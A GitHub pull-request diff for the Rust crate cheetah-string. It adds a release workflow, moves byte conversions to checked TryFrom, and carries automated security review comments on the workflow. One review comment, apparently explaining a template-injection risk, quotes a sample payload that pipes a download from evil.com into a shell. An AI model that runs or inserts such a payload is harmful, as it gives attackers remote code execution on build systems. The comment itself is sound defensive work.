Skip to content
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
110 changes: 110 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
name: Release

on:
push:
tags:
- "v*.*.*"
workflow_dispatch:
inputs:
version:
description: "Version to release, for example 1.1.0"
required: true
type: string

permissions:
contents: write

env:
CARGO_TERM_COLOR: always
RUST_BACKTRACE: full

jobs:
publish:
runs-on: ubuntu-latest

steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Set up Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable
Comment on lines +26 to +34

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

What are the latest commit SHAs for actions/checkout v4 and dtolnay/rust-toolchain stable?

💡 Result:

As of June 20, 2026, the latest commit SHAs for these actions are as follows: 1. actions/checkout@v4: The v4 branch for actions/checkout is a moving target that receives updates [1][2][3]. As it is not a static tag, the specific commit SHA associated with the v4 reference can change over time. To obtain the current absolute SHA, you should check the official actions/checkout repository [1]. 2. dtolnay/rust-toolchain stable: This action does not use a single "stable" commit SHA [4][5]. Instead, the toolchain (e.g., "stable", "nightly", or specific versions like "1.94.1") is selected using an input within your workflow file, and the action itself is typically pinned to a commit on the master branch [4][6][7]. The author recommends pinning the action to a full-length commit SHA from the master branch history to ensure security and stability, rather than relying on dynamic tags [4][6][5]. As of March 27, 2026, a recent commit on the master branch is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [7]. For security-conscious workflows, it is recommended to inspect the repository history directly to select a verified commit SHA on the master branch for dtolnay/rust-toolchain, or check the specific ref for actions/checkout [1][4][6].

Citations:


🏁 Script executed:

# Check if we can access information about the proposed SHAs from GitHub
# For actions/checkout
curl -s -I "https://github.com/actions/checkout/commit/11bd71901bbe5b1630ceea73d27597364c9af683" -w "\nStatus: %{http_code}\n" | tail -5

# For dtolnay/rust-toolchain
curl -s -I "https://github.com/dtolnay/rust-toolchain/commit/b3b07ba8b418998c39fb20f53e8b695cdcc8de1b" -w "\nStatus: %{http_code}\n" | tail -5

Repository: mxsm/cheetah-string

Length of output: 457


🌐 Web query:

What is the current latest stable version/commit SHA of actions/checkout as of June 2026?

💡 Result:

As of June 20, 2026, the latest stable version of actions/checkout is v7.0.0, which was released on June 18, 2026 [1][2]. The commit SHA associated with the v7.0.0 tag is 6927d6d9d1502f61c3905c1069b2d398d57d5904 (this can be verified via the repository's tags on GitHub) [1][2].

Citations:


🌐 Web query:

What is the current latest commit SHA for dtolnay/rust-toolchain master branch as of June 2026?

💡 Result:

As of June 20, 2026, the dtolnay/rust-toolchain repository continues to use the master branch as its primary development branch [1][2]. The last recorded push to this repository occurred on March 27, 2026, at 15:56:25 UTC [1]. The commit associated with this update is SHA 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9, which added support for the 1.94.1 patch release [3]. There have been no subsequent commits to the master branch since that date. Therefore, the latest commit SHA for the dtolnay/rust-toolchain master branch as of June 20, 2026, is 3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 [3].

Citations:


Pin action references to commit SHAs and disable credential persistence.

Using tag-based references (@v4, @stable) for actions is a supply chain risk—a compromised tag could inject malicious code. Pin to full commit SHAs instead. Additionally, set persist-credentials: false on checkout to prevent git credentials from persisting in the workspace.

Note: A newer major version of actions/checkout is available. Use v7.0.0 or later.

🔒 Proposed fix
     - name: Checkout code
-      uses: actions/checkout@v4
+      uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0
       with:
         fetch-depth: 0
+        persist-credentials: false

     - name: Set up Rust
-      uses: dtolnay/rust-toolchain@stable
+      uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9
       with:
         toolchain: stable
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up Rust
uses: dtolnay/rust-toolchain@stable
with:
toolchain: stable
- name: Checkout code
uses: actions/checkout@6927d6d9d1502f61c3905c1069b2d398d57d5904 # v7.0.0
with:
fetch-depth: 0
persist-credentials: false
- name: Set up Rust
uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9
with:
toolchain: stable
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 26-29: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)


[error] 32-32: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 26 - 34, The workflow file uses
action references with tags (checkout@v4 and rust-toolchain@stable) instead of
pinned commit SHAs, which poses a supply chain security risk. Replace the
tag-based references in both the "Checkout code" and "Set up Rust" steps with
their full commit SHAs. Additionally, add the persist-credentials property set
to false in the checkout action to prevent git credentials from persisting in
the workspace. If upgrading the checkout action, consider using v7.0.0 or later
as mentioned in the review.

Source: Linters/SAST tools


- name: Resolve release version
id: version
shell: bash
run: |
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
VERSION="${{ inputs.version }}"
else
VERSION="${GITHUB_REF_NAME#v}"
fi
Comment on lines +40 to +44

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Fix template injection vulnerability in shell script.

The ${{ inputs.version }} expression is interpolated directly into the shell script before execution. A malicious input containing shell metacharacters (e.g., "; curl evil.com | sh #) could escape the quotes and execute arbitrary code. While workflow_dispatch requires write access, defense-in-depth is essential for release workflows.

Pass untrusted inputs via environment variables instead of direct interpolation.

🔒 Proposed fix
     - name: Resolve release version
       id: version
       shell: bash
+      env:
+        VERSION_INPUT: ${{ inputs.version }}
       run: |
         if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
-          VERSION="${{ inputs.version }}"
+          VERSION="$VERSION_INPUT"
         else
           VERSION="${GITHUB_REF_NAME#v}"
         fi
🧰 Tools
🪛 zizmor (1.25.2)

[error] 41-41: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 40 - 44, The shell script
directly interpolates the GitHub Actions expression ${{ inputs.version }} which
creates a shell injection vulnerability if malicious input containing shell
metacharacters is provided. Pass the untrusted input via an environment variable
instead by adding an env section at the run step level to expose inputs.version
as an environment variable (e.g., INPUT_VERSION), then replace the direct
interpolation in the conditional block with a reference to that environment
variable (e.g., $INPUT_VERSION) to safely pass the input to the shell.

Source: Linters/SAST tools


if [[ ! "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+([+-][0-9A-Za-z.-]+)?$ ]]; then
echo "Invalid release version: $VERSION" >&2
exit 1
fi

MANIFEST_VERSION="$(cargo metadata --no-deps --format-version 1 | python3 -c 'import json, sys; print(json.load(sys.stdin)["packages"][0]["version"])')"
if [[ "$MANIFEST_VERSION" != "$VERSION" ]]; then
echo "Cargo.toml version $MANIFEST_VERSION does not match release version $VERSION" >&2
exit 1
fi

echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "tag=v$VERSION" >> "$GITHUB_OUTPUT"

- name: Create tag for manual release
if: github.event_name == 'workflow_dispatch'
shell: bash
run: |
TAG="${{ steps.version.outputs.tag }}"
CURRENT_SHA="$(git rev-parse HEAD)"

if git rev-parse "$TAG" >/dev/null 2>&1; then
TAG_SHA="$(git rev-list -n 1 "$TAG")"
if [[ "$TAG_SHA" != "$CURRENT_SHA" ]]; then
echo "Tag $TAG already exists at $TAG_SHA, not current HEAD $CURRENT_SHA" >&2
exit 1
fi
else
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git tag "$TAG"
git push origin "$TAG"
fi

- name: Check formatting
run: cargo fmt -- --check

- name: Lint
run: cargo clippy --all-features -- -D warnings

- name: Test all features
run: cargo test --all-features

- name: Test no-default feature matrix
run: cargo test --no-default-features --features serde,bytes,simd

- name: Package crate
run: cargo package

- name: Publish crate to crates.io
run: cargo publish --token "$CARGO_REGISTRY_TOKEN"
env:
CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }}

- name: Create GitHub release
env:
GH_TOKEN: ${{ github.token }}
TAG: ${{ steps.version.outputs.tag }}
VERSION: ${{ steps.version.outputs.version }}
run: |
gh release create "$TAG" \
"target/package/cheetah-string-$VERSION.crate#cheetah-string-$VERSION.crate" \
--verify-tag \
--title "cheetah-string $TAG" \
--generate-notes
8 changes: 4 additions & 4 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[package]
name = "cheetah-string"
version = "1.0.1"
version = "1.1.0"
authors = ["mxsm <mxsm@apache.org>"]
edition = "2021"
homepage = "https://github.com/mxsm/cheetah-string"
Expand All @@ -15,14 +15,14 @@ A lightweight, high-performance string manipulation library optimized for speed-
"""

[dependencies]
bytes = "1.10.0"
bytes = { version = "1.10.0", optional = true, default-features = false }
serde = { version = "1.0", optional = true, default-features = false, features = ["alloc"] }

[features]
default = ["std"]
std = []
serde = ["serde/alloc"]
bytes = []
serde = ["dep:serde", "serde/alloc"]
bytes = ["dep:bytes"]
simd = []

[dev-dependencies]
Expand Down
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,14 +45,14 @@ Add this to your `Cargo.toml`:

```toml
[dependencies]
cheetah-string = "1.0.0"
cheetah-string = "1.1.0"
```

### Optional Features

```toml
[dependencies]
cheetah-string = { version = "1.0.0", features = ["bytes", "serde", "simd"] }
cheetah-string = { version = "1.1.0", features = ["bytes", "serde", "simd"] }
```

Available features:
Expand Down
8 changes: 4 additions & 4 deletions benches/comprehensive.rs
Original file line number Diff line number Diff line change
Expand Up @@ -362,13 +362,13 @@ fn bench_internal_hot_paths(c: &mut Criterion) {
});

let long_bytes = vec![b'a'; 256];
group.bench_function("CheetahString::from(Vec<u8> 256B)", |b| {
b.iter(|| black_box(CheetahString::from(long_bytes.clone())))
group.bench_function("CheetahString::try_from_vec(256B)", |b| {
b.iter(|| black_box(CheetahString::try_from_vec(long_bytes.clone()).unwrap()))
});

group.bench_function("String::from(CheetahString::from(Vec<u8> 256B))", |b| {
group.bench_function("String::from(CheetahString::try_from_vec(256B))", |b| {
b.iter(|| {
let value = CheetahString::from(long_bytes.clone());
let value = CheetahString::try_from_vec(long_bytes.clone()).unwrap();
black_box(String::from(value))
})
});
Expand Down
144 changes: 113 additions & 31 deletions src/cheetah_string.rs
Original file line number Diff line number Diff line change
Expand Up @@ -47,19 +47,12 @@ impl<'a> From<&'a str> for CheetahString {
}
}

/// # Safety Warning
///
/// This implementation uses `unsafe` code and may cause undefined behavior
/// if the bytes are not valid UTF-8. Consider using `CheetahString::try_from_bytes()`
/// for safe UTF-8 validation.
///
/// This implementation will be deprecated in a future version.
impl From<&[u8]> for CheetahString {
impl<'a> TryFrom<&'a [u8]> for CheetahString {
type Error = Utf8Error;

#[inline]
fn from(b: &[u8]) -> Self {
// SAFETY: This is unsafe and may cause UB if bytes are not valid UTF-8.
// This will be deprecated in favor of try_from_bytes in the next version.
CheetahString::from_slice(unsafe { str::from_utf8_unchecked(b) })
fn try_from(b: &'a [u8]) -> Result<Self, Self::Error> {
CheetahString::try_from_bytes(b)
}
Comment on lines +50 to 56
}

Expand All @@ -71,19 +64,12 @@ impl FromStr for CheetahString {
}
}

/// # Safety Warning
///
/// This implementation uses `unsafe` code and may cause undefined behavior
/// if the bytes are not valid UTF-8. Consider using `CheetahString::try_from_vec()`
/// for safe UTF-8 validation.
///
/// This implementation will be deprecated in a future version.
impl From<Vec<u8>> for CheetahString {
impl TryFrom<Vec<u8>> for CheetahString {
type Error = Utf8Error;

#[inline]
fn from(v: Vec<u8>) -> Self {
// SAFETY: This constructor does not validate UTF-8 and may cause UB
// if the bytes are later observed as a string.
CheetahString::from_vec(v)
fn try_from(v: Vec<u8>) -> Result<Self, Self::Error> {
CheetahString::try_from_vec(v)
}
}

Expand Down Expand Up @@ -159,10 +145,12 @@ impl<'a> FromIterator<&'a String> for CheetahString {
}

#[cfg(feature = "bytes")]
impl From<bytes::Bytes> for CheetahString {
impl TryFrom<bytes::Bytes> for CheetahString {
type Error = Utf8Error;

#[inline]
fn from(b: bytes::Bytes) -> Self {
CheetahString::from_bytes(b)
fn try_from(b: bytes::Bytes) -> Result<Self, Self::Error> {
CheetahString::try_from_bytes_buf(b)
}
}

Expand Down Expand Up @@ -277,8 +265,29 @@ impl CheetahString {
}
}

#[inline]
#[deprecated(
since = "1.1.0",
note = "use try_from_vec for checked construction or from_utf8_unchecked_vec for an explicit unsafe constructor"
)]
pub fn from_vec(s: Vec<u8>) -> Self {
CheetahString::try_from_vec(s).expect(
"CheetahString::from_vec requires valid UTF-8; use try_from_vec for fallible construction",
)
}

/// Creates a `CheetahString` from a byte vector without validating UTF-8.
///
/// # Safety
///
/// The caller must guarantee that `s` contains valid UTF-8 for the entire
/// lifetime of the returned `CheetahString`.
Comment on lines +281 to +283
#[inline]
pub unsafe fn from_utf8_unchecked_vec(s: Vec<u8>) -> Self {
CheetahString::from_validated_vec_unchecked(s)
}

#[inline]
fn from_validated_vec_unchecked(s: Vec<u8>) -> Self {
if s.len() <= INLINE_CAPACITY {
let mut data = [0u8; INLINE_CAPACITY];
data[..s.len()].copy_from_slice(&s);
Expand Down Expand Up @@ -314,9 +323,8 @@ impl CheetahString {
/// assert!(CheetahString::try_from_vec(invalid).is_err());
/// ```
pub fn try_from_vec(v: Vec<u8>) -> Result<Self, Utf8Error> {
// Validate UTF-8
str::from_utf8(&v)?;
Ok(CheetahString::from_vec(v))
Ok(CheetahString::from_validated_vec_unchecked(v))
}

/// Creates a `CheetahString` from a byte slice with UTF-8 validation.
Expand All @@ -342,8 +350,51 @@ impl CheetahString {
Ok(CheetahString::from_slice(s))
}

/// Creates a `CheetahString` from a byte slice without validating UTF-8.
///
/// # Safety
///
/// The caller must guarantee that `b` contains valid UTF-8.
#[inline]
pub unsafe fn from_utf8_unchecked_bytes(b: &[u8]) -> Self {
// SAFETY: The caller guarantees that `b` contains valid UTF-8.
CheetahString::from_slice(unsafe { str::from_utf8_unchecked(b) })
}

/// Creates a `CheetahString` from a shared byte vector with UTF-8 validation.
///
/// # Errors
///
/// Returns an error if the bytes are not valid UTF-8.
#[inline]
pub fn try_from_arc_vec(s: Arc<Vec<u8>>) -> Result<Self, Utf8Error> {
str::from_utf8(s.as_slice())?;
Ok(CheetahString::from_validated_arc_vec_unchecked(s))
}

#[deprecated(
since = "1.1.0",
note = "use try_from_arc_vec for checked construction or from_utf8_unchecked_arc_vec for an explicit unsafe constructor"
)]
#[inline]
pub fn from_arc_vec(s: Arc<Vec<u8>>) -> Self {
CheetahString::try_from_arc_vec(s).expect(
"CheetahString::from_arc_vec requires valid UTF-8; use try_from_arc_vec for fallible construction",
)
}

/// Creates a `CheetahString` from a shared byte vector without validating UTF-8.
///
/// # Safety
///
/// The caller must guarantee that `s` contains valid UTF-8.
#[inline]
pub unsafe fn from_utf8_unchecked_arc_vec(s: Arc<Vec<u8>>) -> Self {
CheetahString::from_validated_arc_vec_unchecked(s)
}

#[inline]
fn from_validated_arc_vec_unchecked(s: Arc<Vec<u8>>) -> Self {
CheetahString {
inner: InnerString::ArcVecString(s),
}
Expand Down Expand Up @@ -418,7 +469,37 @@ impl CheetahString {

#[inline]
#[cfg(feature = "bytes")]
#[deprecated(
since = "1.1.0",
note = "use try_from_bytes_buf for checked construction or from_utf8_unchecked_bytes_buf for an explicit unsafe constructor"
)]
pub fn from_bytes(b: bytes::Bytes) -> Self {
CheetahString::try_from_bytes_buf(b).expect(
"CheetahString::from_bytes requires valid UTF-8; use try_from_bytes_buf for fallible construction",
)
}

#[inline]
#[cfg(feature = "bytes")]
pub fn try_from_bytes_buf(b: bytes::Bytes) -> Result<Self, Utf8Error> {
str::from_utf8(b.as_ref())?;
Ok(CheetahString::from_validated_bytes_unchecked(b))
}

/// Creates a `CheetahString` from `bytes::Bytes` without validating UTF-8.
///
/// # Safety
///
/// The caller must guarantee that `b` contains valid UTF-8.
#[inline]
#[cfg(feature = "bytes")]
pub unsafe fn from_utf8_unchecked_bytes_buf(b: bytes::Bytes) -> Self {
CheetahString::from_validated_bytes_unchecked(b)
}

#[inline]
#[cfg(feature = "bytes")]
fn from_validated_bytes_unchecked(b: bytes::Bytes) -> Self {
CheetahString {
inner: InnerString::Bytes(b),
}
Expand Down Expand Up @@ -1455,6 +1536,7 @@ impl<'a> DoubleEndedIterator for SplitWrapper<'a> {
#[cfg(test)]
mod tests {
use super::*;
use alloc::{format, vec};

#[test]
fn with_capacity_above_inline_uses_heap_storage() {
Expand Down Expand Up @@ -1524,7 +1606,7 @@ mod tests {
#[test]
fn long_vec_conversion_uses_arc_vec_storage() {
let value = "a".repeat(INLINE_CAPACITY + 1).into_bytes();
let s = CheetahString::from(value);
let s = CheetahString::try_from_vec(value).expect("valid utf-8");

match &s.inner {
InnerString::ArcVecString(inner) => {
Expand Down
2 changes: 1 addition & 1 deletion src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@
//! To enable SIMD acceleration:
//! ```toml
//! [dependencies]
//! cheetah-string = { version = "1.0.0", features = ["simd"] }
//! cheetah-string = { version = "1.1.0", features = ["simd"] }
//! ```
//!
//! # Examples
Expand Down
Loading
Loading